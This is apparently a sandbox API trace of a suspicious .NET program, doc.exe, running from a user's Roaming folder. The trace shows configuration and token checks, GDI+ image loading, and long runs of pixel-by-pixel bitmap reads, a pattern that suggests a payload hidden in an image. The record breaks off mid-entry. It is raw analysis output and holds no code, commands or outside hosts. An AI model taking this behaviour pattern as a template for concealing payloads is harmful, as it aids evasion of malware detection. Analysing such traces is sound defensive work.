lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1ce8fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0217.638] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1cee3c | out: lpFileInformation=0x1cee3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1ce8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.640] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1cee44 | out: lpFileInformation=0x1cee44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1ce864, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ced7c) returned 1 [0217.644] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x40 [0217.645] GetFileType (hFile=0x40) returned 0x1 [0217.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ced78) returned 1 [0217.645] GetFileType (hFile=0x40) returned 0x1 [0217.809] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1ce0b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.809] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1ce11c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce35c) returned 1 [0217.810] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1ce620 | out: lpFileInformation=0x1ce620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce358) returned 1 [0218.439] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1ce4ec | out: pfEnabled=0x1ce4ec) returned 0x0 [0218.709] GetFileSize (in: hFile=0x40, lpFileSizeHigh=0x1cee38 | out: lpFileSizeHigh=0x1cee38*=0x0) returned 0x8c8e [0218.710] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cedf4, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1cedf4*=0x1000, lpOverlapped=0x0) returned 1 [0218.985] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ceca4, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1ceca4*=0x1000, lpOverlapped=0x0) returned 1 [0218.987] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ceb58, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1ceb58*=0x1000, lpOverlapped=0x0) returned 1 [0218.988] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ceb58, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1ceb58*=0x1000, lpOverlapped=0x0) returned 1 [0218.989] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ceb58, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1ceb58*=0x1000, lpOverlapped=0x0) returned 1 [0218.989] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cea90, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1cea90*=0x1000, lpOverlapped=0x0) returned 1 [0218.998] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cebfc, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1cebfc*=0x1000, lpOverlapped=0x0) returned 1 [0218.999] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ceaf0, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1ceaf0*=0x1000, lpOverlapped=0x0) returned 1 [0218.999] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ceaf0, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1ceaf0*=0xc8e, lpOverlapped=0x0) returned 1 [0219.000] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cebb4, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x1cebb4*=0x0, lpOverlapped=0x0) returned 1 [0219.000] CloseHandle (hObject=0x40) returned 1 [0219.000] CloseHandle (hObject=0x1f0) returned 1 [0219.003] GetCurrentProcess () returned 0xffffffff [0219.003] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1cef90 | out: TokenHandle=0x1cef90*=0x1f0) returned 1 [0219.004] CloseHandle (hObject=0x1f0) returned 1 [0219.004] GetCurrentProcess () returned 0xffffffff [0219.004] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1cef90 | out: TokenHandle=0x1cef90*=0x1f0) returned 1 [0219.005] CloseHandle (hObject=0x1f0) returned 1 [0219.062] GetCurrentProcess () returned 0xffffffff [0219.062] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1cee44 | out: TokenHandle=0x1cee44*=0x1f0) returned 1 [0219.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1cee3c | out: lpFileInformation=0x1cee3c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0219.063] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", nBufferLength=0x105, lpBuffer=0x1ce8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", lpFilePart=0x0) returned 0x31 [0219.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1cee44 | out: lpFileInformation=0x1cee44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0219.064] CloseHandle (hObject=0x1f0) returned 1 [0219.064] GetCurrentProcess () returned 0xffffffff [0219.064] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1cef90 | out: TokenHandle=0x1cef90*=0x1f0) returned 1 [0219.065] CloseHandle (hObject=0x1f0) returned 1 [0219.066] GetCurrentProcess () returned 0xffffffff [0219.066] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1cef90 | out: TokenHandle=0x1cef90*=0x1f0) returned 1 [0219.067] CloseHandle (hObject=0x1f0) returned 1 [0219.106] GetCurrentProcess () returned 0xffffffff [0219.107] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ceda8 | out: TokenHandle=0x1ceda8*=0x1f0) returned 1 [0219.113] CloseHandle (hObject=0x1f0) returned 1 [0219.113] GetCurrentProcess () returned 0xffffffff [0219.113] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1cedc0 | out: TokenHandle=0x1cedc0*=0x1f0) returned 1 [0219.193] CloseHandle (hObject=0x1f0) returned 1 [0219.204] GetSystemMetrics (nIndex=75) returned 1 [0219.210] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0219.221] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772b0000 [0219.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AddDllDirectory", cchWideChar=15, lpMultiByteStr=0x1cf08c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AddDllDirectory", lpUsedDefaultChar=0x0) returned 15 [0219.224] GetProcAddress (hModule=0x772b0000, lpProcName="AddDllDirectory") returned 0x773f1e91 [0219.225] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x800) returned 0x63bc0000 [0219.242] AdjustWindowRectEx (in: lpRect=0x1cf1f4, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x1cf1f4) returned 1 [0219.330] GetCurrentProcess () returned 0xffffffff [0219.330] GetCurrentThread () returned 0xfffffffe [0219.330] GetCurrentProcess () returned 0xffffffff [0219.331] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1cf10c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1cf10c*=0x40) returned 1 [0219.338] GetCurrentThreadId () returned 0xcc8 [0219.396] GetCurrentActCtx (in: lphActCtx=0x1cf06c | out: lphActCtx=0x1cf06c*=0x0) returned 1 [0219.396] ActivateActCtx (in: hActCtx=0x38766c, lpCookie=0x1cf07c | out: hActCtx=0x38766c, lpCookie=0x1cf07c) returned 1 [0219.415] GetModuleHandleW (lpModuleName="user32.dll") returned 0x766d0000 [0219.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x1cef24, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW\x97]îòFcDþôeðó\x1c", lpUsedDefaultChar=0x0) returned 14 [0219.416] GetProcAddress (hModule=0x766d0000, lpProcName="DefWindowProcW") returned 0x778f25dd [0219.417] GetStockObject (i=5) returned 0x1900015 [0219.424] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.427] CoTaskMemAlloc (cb=0x5c) returned 0x38c5b0 [0219.427] RegisterClassW (lpWndClass=0x1cef14) returned 0xc21d [0219.427] CoTaskMemFree (pv=0x38c5b0) [0219.428] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.428] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x4024c [0219.429] SetWindowLongW (hWnd=0x4024c, nIndex=-4, dwNewLong=2005870045) returned 6490326 [0219.430] GetWindowLongW (hWnd=0x4024c, nIndex=-4) returned 2005870045 [0219.436] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ce828 | out: phkResult=0x1ce828*=0x230) returned 0x0 [0219.437] RegQueryValueExW (in: hKey=0x230, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x1ce848, lpData=0x0, lpcbData=0x1ce844*=0x0 | out: lpType=0x1ce848*=0x0, lpData=0x0, lpcbData=0x1ce844*=0x0) returned 0x2 [0219.437] RegQueryValueExW (in: hKey=0x230, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x1ce848, lpData=0x0, lpcbData=0x1ce844*=0x0 | out: lpType=0x1ce848*=0x0, lpData=0x0, lpcbData=0x1ce844*=0x0) returned 0x2 [0219.438] RegCloseKey (hKey=0x230) returned 0x0 [0219.457] SetWindowLongW (hWnd=0x4024c, nIndex=-4, dwNewLong=6490366) returned 2005870045 [0219.457] GetWindowLongW (hWnd=0x4024c, nIndex=-4) returned 6490366 [0219.457] GetWindowLongW (hWnd=0x4024c, nIndex=-16) returned 113311744 [0219.458] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc21e [0219.459] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0x4024c, Msg=0x24, wParam=0x0, lParam=0x1ceb00) returned 0x0 [0219.459] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc21f [0219.459] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0x4024c, Msg=0x81, wParam=0x0, lParam=0x1ceaf4) returned 0x1 [0219.460] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0x4024c, Msg=0x83, wParam=0x0, lParam=0x1ceae0) returned 0x0 [0219.460] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0x4024c, Msg=0x1, wParam=0x0, lParam=0x1ceaf4) returned 0x0 [0219.466] GetClientRect (in: hWnd=0x4024c, lpRect=0x1ce85c | out: lpRect=0x1ce85c) returned 1 [0219.466] GetWindowRect (in: hWnd=0x4024c, lpRect=0x1ce85c | out: lpRect=0x1ce85c) returned 1 [0219.468] GetParent (hWnd=0x4024c) returned 0x0 [0219.468] DeactivateActCtx (dwFlags=0x0, ulCookie=0x11390001) returned 1 [0219.685] AdjustWindowRectEx (in: lpRect=0x1cf1ac, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1cf1ac) returned 1 [0219.686] AdjustWindowRectEx (in: lpRect=0x1cf13c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1cf13c) returned 1 [0219.779] GetProcessWindowStation () returned 0x60 [0219.781] GetUserObjectInformationA (in: hObj=0x60, nIndex=1, pvInfo=0x285c9e0, nLength=0xc, lpnLengthNeeded=0x1cf018 | out: pvInfo=0x285c9e0, lpnLengthNeeded=0x1cf018) returned 1 [0219.783] SetConsoleCtrlHandler (HandlerRoutine=0x630926, Add=1) returned 1 [0219.784] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.784] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.787] GetClassInfoW (in: hInstance=0x1360000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x285ca44 | out: lpWndClass=0x285ca44) returned 0 [0219.790] CoTaskMemAlloc (cb=0x58) returned 0x384e88 [0219.790] RegisterClassW (lpWndClass=0x1cef68) returned 0xc220 [0219.790] CoTaskMemFree (pv=0x384e88) [0219.792] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x80344 [0219.792] NtdllDefWindowProc_W () returned 0x1 [0219.794] NtdllDefWindowProc_W () returned 0x0 [0219.795] NtdllDefWindowProc_W () returned 0x0 [0219.795] NtdllDefWindowProc_W () returned 0x0 [0219.795] NtdllDefWindowProc_W () returned 0x0 [0219.837] GetSysColor (nIndex=10) returned 0xb4b4b4 [0219.837] GetSysColor (nIndex=2) returned 0xd1b499 [0219.837] GetSysColor (nIndex=9) returned 0x0 [0219.837] GetSysColor (nIndex=12) returned 0xababab [0219.837] GetSysColor (nIndex=15) returned 0xf0f0f0 [0219.837] GetSysColor (nIndex=20) returned 0xffffff [0219.837] GetSysColor (nIndex=16) returned 0xa0a0a0 [0219.837] GetSysColor (nIndex=15) returned 0xf0f0f0 [0219.837] GetSysColor (nIndex=16) returned 0xa0a0a0 [0219.837] GetSysColor (nIndex=21) returned 0x696969 [0219.837] GetSysColor (nIndex=22) returned 0xe3e3e3 [0219.837] GetSysColor (nIndex=20) returned 0xffffff [0219.838] GetSysColor (nIndex=18) returned 0x0 [0219.838] GetSysColor (nIndex=1) returned 0x0 [0219.838] GetSysColor (nIndex=27) returned 0xead1b9 [0219.838] GetSysColor (nIndex=28) returned 0xf2e4d7 [0219.838] GetSysColor (nIndex=17) returned 0x6d6d6d [0219.838] GetSysColor (nIndex=13) returned 0xff9933 [0219.838] GetSysColor (nIndex=14) returned 0xffffff [0219.838] GetSysColor (nIndex=26) returned 0xcc6600 [0219.838] GetSysColor (nIndex=11) returned 0xfcf7f4 [0219.838] GetSysColor (nIndex=3) returned 0xdbcdbf [0219.838] GetSysColor (nIndex=19) returned 0x544e43 [0219.838] GetSysColor (nIndex=24) returned 0xe1ffff [0219.838] GetSysColor (nIndex=23) returned 0x0 [0219.838] GetSysColor (nIndex=4) returned 0xf0f0f0 [0219.839] GetSysColor (nIndex=30) returned 0xf0f0f0 [0219.839] GetSysColor (nIndex=29) returned 0xff9933 [0219.839] GetSysColor (nIndex=7) returned 0x0 [0219.839] GetSysColor (nIndex=0) returned 0xc8c8c8 [0219.839] GetSysColor (nIndex=5) returned 0xffffff [0219.839] GetSysColor (nIndex=6) returned 0x646464 [0219.839] GetSysColor (nIndex=8) returned 0x0 [0219.858] AdjustWindowRectEx (in: lpRect=0x1cf170, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1cf170) returned 1 [0219.858] GetSystemMetrics (nIndex=59) returned 1460 [0219.858] GetSystemMetrics (nIndex=60) returned 920 [0219.858] GetSystemMetrics (nIndex=34) returned 132 [0219.858] GetSystemMetrics (nIndex=35) returned 38 [0219.858] AdjustWindowRectEx (in: lpRect=0x1cf070, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1cf070) returned 1 [0280.622] EtwEventRegister () returned 0x0 [0280.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", nBufferLength=0x105, lpBuffer=0x1ce498, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", lpFilePart=0x0) returned 0x31 [0280.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce6e0) returned 1 [0280.635] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1ce9a4 | out: lpFileInformation=0x1ce9a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0280.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce6dc) returned 1 [0281.423] GdiplusStartup (in: token=0x2e6068, input=0x1cdb18, output=0x1cdb68 | out: token=0x2e6068, output=0x1cdb68) returned 0x0 [0281.448] GdipLoadImageFromStream (stream=0x510030, image=0x1ce600) returned 0x0 [0281.519] GdipImageForceValidation (image=0x1072230) returned 0x0 [0281.530] GdipGetImageType (image=0x1072230, type=0x1ce5fc) returned 0x0 [0281.530] GdipGetImageRawFormat (image=0x1072230, format=0x1ce570*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0281.565] GdipGetImageWidth (image=0x1072230, width=0x1ceb84) returned 0x0 [0281.577] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.577] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.578] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=0, color=0x1ceb50) returned 0x0 [0281.590] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.590] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.590] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=1, color=0x1ceb50) returned 0x0 [0281.590] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.590] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.590] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=2, color=0x1ceb50) returned 0x0 [0281.590] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.590] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.590] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=3, color=0x1ceb50) returned 0x0 [0281.591] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.591] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.591] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=4, color=0x1ceb50) returned 0x0 [0281.591] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.591] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.591] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=5, color=0x1ceb50) returned 0x0 [0281.591] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.591] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.591] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=6, color=0x1ceb50) returned 0x0 [0281.591] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.591] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.591] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=7, color=0x1ceb50) returned 0x0 [0281.592] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.592] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.592] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=8, color=0x1ceb50) returned 0x0 [0281.592] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.592] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.592] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=9, color=0x1ceb50) returned 0x0 [0281.592] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.592] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.592] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=10, color=0x1ceb50) returned 0x0 [0281.592] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.592] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.592] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=11, color=0x1ceb50) returned 0x0 [0281.592] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.592] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.592] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=12, color=0x1ceb50) returned 0x0 [0281.593] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.593] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.593] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=13, color=0x1ceb50) returned 0x0 [0281.593] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.593] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.593] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=14, color=0x1ceb50) returned 0x0 [0281.593] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.593] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.593] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=15, color=0x1ceb50) returned 0x0 [0281.593] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.593] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.593] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=16, color=0x1ceb50) returned 0x0 [0281.593] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.593] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.594] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=17, color=0x1ceb50) returned 0x0 [0281.594] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.594] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.594] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=18, color=0x1ceb50) returned 0x0 [0281.594] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.594] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.594] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=19, color=0x1ceb50) returned 0x0 [0281.594] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.594] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.594] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=20, color=0x1ceb50) returned 0x0 [0281.594] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.594] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.594] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=21, color=0x1ceb50) returned 0x0 [0281.594] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.594] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.594] GdipBitmapGetPixel 